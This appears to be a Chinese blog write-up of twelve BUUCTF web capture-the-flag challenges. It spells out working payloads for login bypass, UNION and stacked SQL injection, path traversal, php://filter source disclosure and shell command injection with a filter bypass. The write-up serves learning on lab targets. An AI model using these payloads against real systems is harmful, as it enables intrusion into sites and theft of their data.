首页 > 其他分享 >Buuctf刷题Web 基础1

Buuctf刷题Web 基础1

时间:2023-04-15 18:31:41浏览次数:47  
标签:Web Buuctf flag 2019 words F12 php select 刷题

1、[极客大挑战 2019]EasySQL 1

题目,页面很酷炫!

Buuctf刷题Web 基础1_buuctf

尝试一下万能密码

Buuctf刷题Web 基础1_基础_02

提交得到flag{a21e57ef-6b2f-443e-a2fa-74635e6ce5aa}

2、[极客大挑战 2019]Havefun 1

题目是很可爱的一只小猫

Buuctf刷题Web 基础1_基础_03

没有什么发现,F12检查一下

Buuctf刷题Web 基础1_web_04

于是乎传参http://84ceb43a-fd23-433b-9e30-84c174fd9b94.node4.buuoj.cn:81/?cat=dog,得到flag{12983d17-c6f6-4fe9-923a-7e92576587e4}

3、[HCTF 2018]WarmUp 1

题目就是就是一个滑稽脸

Buuctf刷题Web 基础1_ctf_05

再次用F12检查一下

Buuctf刷题Web 基础1_ctf_06

访问http://64b3bbc6-4901-40d2-b509-380e65ecc938.node4.buuoj.cn:81/source.php

Buuctf刷题Web 基础1_基础_07

得到一些代码,其中有一个hint.php文件,继续访问

http://64b3bbc6-4901-40d2-b509-380e65ecc938.node4.buuoj.cn:81/hint.php

Buuctf刷题Web 基础1_基础_08

根据这个提示,再根据前面的代码,构造语句:http://64b3bbc6-4901-40d2-b509-380e65ecc938.node4.buuoj.cn:81/source.php?file=hint.php?../../../../../ffffllllaaaagggg,得到flag{d006b08c-c6a7-439b-87f6-259cbf8ca5cd}

4、[ACTF2020 新生赛]Include 1

题目:

Buuctf刷题Web 基础1_基础_09

点开

Buuctf刷题Web 基础1_web_10

没有什么东西,但是url中像是文件包含,可以看出他是通过file伪文件打开了flag这个文件,既然存在这个文件,那么flag应该就在这个文件中,但是F12没有查看到内容,所以flag应该在flag.php的源代码中,可以利filter伪协议来查看flag源代码

Buuctf刷题Web 基础1_web_11

构造payload:?file=php://filter/convert.base64-encode/resource=flag.php,得到PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MWQyMGNhOTgtYTg3NS00MTA2LTgwNWUtOThmZGZhMmI5OTBlfQo=,用base64解码,得到flag{1d20ca98-a875-4106-805e-98fdfa2b990e}

5、[ACTF2020 新生赛]Exec 1

Buuctf刷题Web 基础1_ctf_12

一看到这个就想到了命令执行,于是构造payload

Buuctf刷题Web 基础1_web_13

看到有一个flag文件,于是继续构造ping 1.1.1.1 & cat /flag,得到

flag{0aca7968-fe0f-4e13-b41e-329446007ceb}

Buuctf刷题Web 基础1_基础_14

6、[强网杯 2019]随便注 1

题目很明显是sql注入

Buuctf刷题Web 基础1_buuctf_15

同样也可以先看一下F12

Buuctf刷题Web 基础1_buuctf_16

说明让我们用手工注入

1' and '1'=1#和1' and '1'=2#两次显示不一样,说明是字符型注入,继续1' order by 2#是正常的,但是1' order by 3#就报错了,说明只有两列

Buuctf刷题Web 基础1_web_17

接着判断注入点,发现select被过滤,所以要绕过,显然大小写不行,重写也不行,所以考虑堆叠注入

Buuctf刷题Web 基础1_ctf_18

可以看到有两个表,继续查询0'; show columns from `1919810931114514`;#

Buuctf刷题Web 基础1_ctf_19

继续查询0'; show columns from `words`;#

Buuctf刷题Web 基础1_web_20

所以分析一波,实际数据库中有两个表,words和’1919810931114514‘,我们输入1,2这种数字返回给我们的是words表中的东西,而我们想要的在’1919810931114514‘表中,所以可以偷梁换柱,将words表中的id字段换成’1919810931114514‘表中的flag字段。所以构造

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

然后再输入1' or 1=1#,得到

flag{ff1480a4-c8f8-472c-8f69-35bff69ce458}

7、[GXYCTF2019]Ping Ping Ping 1

Buuctf刷题Web 基础1_基础_21

再F12一下也没有什么东西

所以构造一下?ip=1

Buuctf刷题Web 基础1_web_22

很像命令执行,所以考虑一下之前的命令/?ip=1 & ls /

Buuctf刷题Web 基础1_基础_23

需要过滤空格,所以换一种方式/?ip=1;ls

Buuctf刷题Web 基础1_web_24

将空格进行替换,构造payload为/?ip=1;cat$IFS$1flag.php

Buuctf刷题Web 基础1_web_25

发现把flag也替换掉了,于是继续替换/?ip=1;a=g;cat$IFSBuuctf刷题Web 基础1_web_26a.php,发现没什么东西,直到F12了一下,得到flag{ba9813dc-faac-4686-bf6d-d79352a691f1}

Buuctf刷题Web 基础1_buuctf_27

8、[SUCTF 2019]EasySQL 1

Buuctf刷题Web 基础1_基础_28

发现输入非0数字有回显,输入0和字符无回显,尝试使用堆叠注入

Buuctf刷题Web 基础1_web_29

发现有一个flag表,所以flag很可能存在这个表里,继续查询这个表中的字段,1;show columns from Flag;

Buuctf刷题Web 基础1_ctf_30

回显的是Nonono,说明把flag过来过滤掉了,尝试替换,但是都没有办法,后来看了大佬们的文章,才知道问题的关键,回到我们一开始,为什么输入非0 的有回显,那说明很可能用了||符号。

先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:

command1 || command2
c1和c2其中一侧为1则取1,否则取0

 这里猜测后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显,(这里很多大佬去查看的源码看到了||的使用,但我太拉跨,,实在找不到源码orz,,)而猜测逻辑大致是这样的:大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 ||  一个列名 from 表名。(select 输入数据 || flag from Flag),所以我们可以尝试*,1,其代表的就是1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

为啥子咧,因为1||flag是个短路算法,直接输出1了

select *和select 所有列的意义相同,那么我们构造的select *,1 || flag from Flag ==select *,1 from Flag ,得到flag{98f53b57-c35b-4265-b688-9a0d30b5f2aa}

9、[极客大挑战 2019]Secret File 1

Buuctf刷题Web 基础1_web_31

若没有什么思路,继续F12,发现有这样一个文件

Buuctf刷题Web 基础1_ctf_32

访问一下

Buuctf刷题Web 基础1_web_33

再访问一下,发现直接到达了end.php,所以要用Burp抓一下包,

Buuctf刷题Web 基础1_基础_34

得到secr3t.php,继续访问,给出了代码

Buuctf刷题Web 基础1_web_35

所以构造payload:/secr3t.php?file=flag.php,结果!太调皮了

Buuctf刷题Web 基础1_web_36

所以再次考虑filter伪协议,构造/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php,得到base64编码:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NmFkYjIxZDgtMWI3OS00MjIwLWJlNjEtZmM1NTMzMDJmNjkxfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密得到flag{6adb21d8-1b79-4220-be61-fc553302f691}

10、[极客大挑战 2019]LoveSQL 1

Buuctf刷题Web 基础1_ctf_37

显然这是上一个题的延续,我们再用万能密码:1' or 1=1#,得到

Buuctf刷题Web 基础1_基础_38

说明有单引号注入,所以可以先查询列数,1' order by 3#,发现3的时候正常显示,4的时候会报错,

Buuctf刷题Web 基础1_buuctf_39

所以有3列,利用union查询显示位(1' union select 3,4,5#),

Buuctf刷题Web 基础1_buuctf_40

显示位为后两位,查询一下数据库名1' union select 3,database(),3#

Buuctf刷题Web 基础1_web_41

构造payload:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

Buuctf刷题Web 基础1_ctf_42

可以看出有两个表,需要一个个表查看

Buuctf刷题Web 基础1_ctf_43

Buuctf刷题Web 基础1_web_44

再看另一个表1' union SELECT 1,2,GROUP_CONCAT(column_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x6c3076653179737131#

Buuctf刷题Web 基础1_基础_45

发现是一样的,然后查询字段,1' union SELECT 1,2,GROUP_CONCAT(id,username,password SEPARATOR 0x3c62723e) FROM geek.l0ve1ysq1#,得到flag{744bc1ed-029a-475c-a0f4-5820cd6f9753}


Buuctf刷题Web 基础1_buuctf_46

11、[极客大挑战 2019]Http 1

Buuctf刷题Web 基础1_基础_47

是一个网站,继续F12,得到一个secret.php

访问之后得到

Buuctf刷题Web 基础1_web_48

那我们就要去burp中抓包,跟着说明一步步做

Buuctf刷题Web 基础1_web_49

Buuctf刷题Web 基础1_ctf_50

Buuctf刷题Web 基础1_buuctf_51

12、[极客大挑战 2019]Knife 1

真是白给shell啊,直接用蚁剑

Buuctf刷题Web 基础1_基础_52

Buuctf刷题Web 基础1_基础_53

在根目录发现了flag,点击进去得到flag{f370eadf-cd12-47bc-9d21-549f609efa79}

Buuctf刷题Web 基础1_buuctf_54


标签:Web,Buuctf,flag,2019,words,F12,php,select,刷题
From: https://blog.51cto.com/u_15778482/6192418

相关文章

  • WEB3-基本概念/名词
    名词解释每个行业都会存在一些只有行业内部才知道的“黑话”,有些人通过和你聊天就知道你是不是圈子里的人,这些名词往往是一些看着高大上,其实你明白后一定会说一句,原来就是这啊。现在我们整理下目前比较火的web3(区块链)中的一些名词。本文会持续更新~大饼-BTC行情二姨太-ETH......
  • Zotero 附件云同步(非 WebDAV 方法)
    1.说明适用范围更广,但是操作步骤较复杂。使用zotero仅同步题录信息,使用其他云同步程序同步文献的附件,此处以坚果云为例进行演示。准备:zotero和坚果云注册账号zotero的插件zotfile(国内汉化版)坚果云客户端Zotero插件集合2.操作流程2.1坚果云操作在网页端创......
  • 标准的WebApi应该有哪些元素
    提问标准的WebApi应该有哪些元素回答声明完整的响应码200,404,401,400添加Operation添加Tag聚合业务申明请求和响应类型标注参数来源FromHeader使用IActionResult代替ActionResult[Tag("查询类服务")][HttpGet,Route("mytoute",Name=nameof(GetSomething)......
  • Buuctf刷题Crypto 5day
    1、[WUSTCTF2020]佛说:只能四天先看题目,给了三个文件:尊即寂修我劫修如婆愍闍嚤婆莊愍耨羅嚴是喼婆斯吶眾喼修迦慧迦嚩喼斯願嚤摩隸所迦摩吽即塞願修咒莊波斯訶喃壽祗僧若即亦嘇蜜迦須色喼羅囉咒諦若陀喃慧愍夷羅波若劫蜜斯哆咒塞隸蜜波哆咤慧聞亦吽念彌諸嘚嚴諦咒陀叻咤叻諦缽隸祗......
  • Zotero 设置坚果云同步(使用 WebDAV 的方法)
    1.坚果云设置登录坚果云:官网,注册账号1.建立个人文件夹:zotero2.在网页打开右上角的账户信息,并选择安全选项在页面下方选择添加应用并输入与前面文件夹对应的名称zotero2.Zotero中设置选择编辑中的首选择项,打开同步将坚果云网站对应的信息依次填入zotero中,验......
  • 在Node.JS中,调用JShaman的Web API接口,加密JS代码。
    在Node.JS中,调用JShaman的WebAPI接口,加密JS代码。源码varjs_code=` functionNewObject(prefix) { varcount=0; this.SayHello=function(msg) { count++; alert(prefix+msg); } this.GetCount=function() { returncount; } } varobj=newNewO......
  • Python Web全栈工程师「课代表itspcool」
    PythonWeb全栈工程师核心代码,注释必读//下、栽、课、呈茄/:itspcool进入Python世界,打开编程之门Python语法基础一、标识符所谓的标识符就是对变量、常量、函数、类等对象起的名字。首先必须说明的是,Python语言在任何场景都严格区分大小写!Python对于标识符的命名......
  • 给webpack提了一个pr之后......
    前言我不是标题党啊,是真的给webpack提了一个pr,提交之后,脑子里就是一句话:“纸上学来终觉浅,绝知此事要躬行”。欲知来龙去脉,听我娓娓道来。pr如下,<https://github.com/webpack/webpack/pull/16292>,目前还是unreviewed状态。\\阅读此文章你将会了解以下知识点,webstrom调试webpack源......
  • 轻量级Web框架Flask(二)
    Flask-SQLAlchemyMySQL是免费开源软件,大家可以自行搜索其官网(https://www.MySQL.com/downloads/)测试MySQL是否安装成功在所有程序中,找到MySQL→MySQLServer5.6下面的命令行工具,然后单击输入密码后回车,就可以知道MySQL数据库是否链接成功。右击桌面上的“计算机”,在弹出的快......
  • buu刷题
    [GYCTF2020]Ezsqli知识点ascii比较盲注解题过程输入id=1的时候返回nu1l然后先判断是数字型还是字符型因为一些东西被过滤了输入1&&1=2返回因为这个使用某些字符会导致post传参时造成歧义这是将paylaodurl编码所以判断为字符型由于过滤了union所以不能使用......